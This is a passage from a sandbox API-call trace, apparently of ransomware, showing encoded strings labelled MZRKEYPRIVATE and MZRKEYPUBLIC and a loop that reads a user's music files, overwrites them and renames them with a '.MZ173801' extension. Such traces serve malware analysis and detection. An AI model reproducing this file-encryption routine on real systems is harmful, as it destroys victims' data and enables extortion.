vwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x24f61dc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.789] GetCurrentThreadId () returned 0xab4 [0158.789] GetCurrentThreadId () returned 0xab4 [0158.789] GetCurrentThreadId () returned 0xab4 [0158.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x250723c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.789] GetCurrentThreadId () returned 0xab4 [0158.789] GetCurrentThreadId () returned 0xab4 [0158.789] GetCurrentThreadId () returned 0xab4 [0158.789] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\o7Ic1-IjCq FQjq1.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\o7ic1-ijcq fqjq1.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.790] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a8*=0) returned 0x0 [0158.790] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.790] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x212f [0158.790] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1a0*=0) returned 0x0 [0158.790] ReadFile (in: hFile=0x27c, lpBuffer=0x250f040, nNumberOfBytesToRead=0x212f, lpNumberOfBytesRead=0x19f1b4, lpOverlapped=0x0 | out: lpBuffer=0x250f040*, lpNumberOfBytesRead=0x19f1b4*=0x212f, lpOverlapped=0x0) returned 1 [0158.791] CloseHandle (hObject=0x27c) returned 1 [0158.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\o7Ic1-IjCq FQjq1.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\o7ic1-ijcq fqjq1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0158.792] WriteFile (in: hFile=0x27c, lpBuffer=0x2513070*, nNumberOfBytesToWrite=0x212f, lpNumberOfBytesWritten=0x19f1c0, lpOverlapped=0x0 | out: lpBuffer=0x2513070*, lpNumberOfBytesWritten=0x19f1c0*=0x212f, lpOverlapped=0x0) returned 1 [0158.793] CloseHandle (hObject=0x27c) returned 1 [0158.794] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\o7Ic1-IjCq FQjq1.mp3" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\o7ic1-ijcq fqjq1.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\o7Ic1-IjCq FQjq1.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\o7ic1-ijcq fqjq1.mp3.mz173801")) returned 1 [0158.794] GetCurrentThreadId () returned 0xab4 [0158.794] GetCurrentThreadId () returned 0xab4 [0158.794] GetCurrentThreadId () returned 0xab4 [0158.795] GetCurrentThreadId () returned 0xab4 [0158.795] GetCurrentThreadId () returned 0xab4 [0158.795] GetCurrentThreadId () returned 0xab4 [0158.795] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f2ec | out: lpFindFileData=0x19f2ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cdeb00, ftCreationTime.dwHighDateTime=0x1d5e954, ftLastAccessTime.dwLowDateTime=0x7d7d1ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x7d7d1ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x112b3, dwReserved0=0x0, dwReserved1=0x19f34c, cFileName="zlyONG3Bll4oZ.wav", cAlternateFileName="ZLYONG~1.WAV")) returned 1 [0158.795] FileTimeToLocalFileTime (in: lpFileTime=0x19f300, lpLocalFileTime=0x19f260 | out: lpLocalFileTime=0x19f260) returned 1 [0158.795] FileTimeToDosDateTime (in: lpFileTime=0x19f260, lpFatDate=0x19f2ce, lpFatTime=0x19f2cc | out: lpFatDate=0x19f2ce, lpFatTime=0x19f2cc) returned 1 [0158.795] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\zlyONG3Bll4oZ.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\zlyong3bll4oz.wav"), fInfoLevelId=0x0, lpFileInformation=0x19f1f4 | out: lpFileInformation=0x19f1f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72cdeb00, ftCreationTime.dwHighDateTime=0x1d5e954, ftLastAccessTime.dwLowDateTime=0x7d7d1ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x7d7d1ec0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x112b3)) returned 1 [0158.797] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\zlyONG3Bll4oZ.wav" (normalized: "c:\\users\\fd1hvy\\music\\9y41-fr3plkynrnfg2e\\vqltak\\5b1wk siniey1xg8\\zlyong3bll4oz.wav")) returned 0x20 [0158.797] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\9y41-fr3PlkYnrNFG2e\\VqltAk\\5B1wK SInIEY1XG8\\zlyONG3Bll4oZ.wav", dwFileAttributes=0x80) returned 1 [0158.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.799] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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